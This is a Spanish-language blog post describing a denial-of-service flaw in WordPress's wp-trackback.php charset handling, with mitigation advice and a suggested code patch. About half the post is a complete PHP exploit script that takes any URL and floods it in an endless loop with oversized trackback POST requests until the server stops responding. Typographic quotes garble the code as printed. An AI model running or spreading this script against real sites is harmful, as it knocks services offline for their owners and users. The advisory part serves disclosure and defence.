Denegación de Servicio en WordPress

Denegación de Servicio en WordPress, José Carlos Norte acaba de publicar en su blog, un nuevo fallo de seguridad descubierto en el popular wordpress, este fallo permite a a cualquier persona de forma sencilla dejar fuera de linea un blog con WordPress causando una denegacion de servicio.

Denegación de Servicio en WordPress

Índice

Denegación de Servicio en WordPress con bug en archivo wp-trackback.php

El bug se encuentra en el archivo wp-trackback.php quien no valida adecuadamente la variable $charset, permitiendo ingresar una peticion POST especialmente diseñada con una cantidad indeterminada de parámetros, causando un  gran consumo de memoria y CPU hasta que estos se agoten y el servidor deja de responder.

Con versiones de WordPress vulnerables al fallo

Todas las versiones de WordPress hasta el momento son vulnerables a este fallo (y según José Carlos, el parche que publicaría WordPress tampoco lo soluciona).

Aunque dependiendo de la configuración individual de cada servidor, el problema es mayor o menor, por ejemplo un servido con mod_security, no seria vulnerable ya que  bloquearía estas peticiones mal intencionadas.

También se pueden mitigar los daños con una adecuada configuración del parámetro php_memory_limit del php.ini para evitar que tus desarrollos web utilicen mas memoria de la que en realidad necesitan.

Podrías también utilizar el WP-IDS un mod para WordPress del PHPIDS (reseñado el la guía blanca de seguridad en wordpress WordPress Security Whitepaper) el cual bloquearía no solo estas peticiones sino muchos mas problemas de seguridad.

Les dejo la solución propuesta por Jose Carlos en su blog para este problema:

Reemplazar en la linea 45 del archivo wp-trackback.php esto
$charset = $_POST['charset'];

por esto
$charset = str_replace(”,”,”",$_POST['charset']);
if(is_array($charset)) { exit; }

Y el exploit para verificar que somos vulnerables:

<?php
//wordpress Resource exhaustion Exploit
//http://rooibo.wordpress.com/
//[email protected] contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo “You need to specify a url to attack\n”;
exit;
}

$url = $argv[1];

$data = parse_url($url);
if(count($data) < 2) { echo “The url should have http:// in front of it, and should be complete.\n”; exit; } if(count($data) == 2) { $path = ”; } else { $path = $data['path']; } $path = trim($path,’/'); $path .= ‘/wp-trackback.php’; if($path{0} != ‘/’) { $path = ‘/’.$path; } $b = “”; $b = str_pad($b,140000,’ABCEDFG’); $b = utf8_encode($b); $charset = “”; $charset = str_pad($charset,140000,”UTF-8,”); $str = ‘charset=’.urlencode($charset); $str .= ‘&url=www.example.com’; $str .= ‘&title=’.$b; $str .= ‘&blog_name=lol’; $str .= ‘&excerpt=lol’; $count = 0; while(1) { $fp = @fsockopen($data['host'],80); if(!$fp) { if($count > 0) {
echo “down!!!!\n”;
exit;
}
echo “unable to connect to: “.$data['host'].”\n”;
exit;
}

fputs($fp, “POST $path HTTP/1.1\r\n”);
fputs($fp, “Host: “.$data['host'].”\r\n”);
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
fputs($fp, “Connection: close\r\n\r\n”);
fputs($fp, $str.”\r\n\r\n”);

echo “hit!\n”;
$count++;
}

?>

Para mas información

Agujero de seguridad muy grave en WordPress
Atención! BUG WordPress
WordPress Security Whitepaper

$charset = $_POST['charset'];
Subir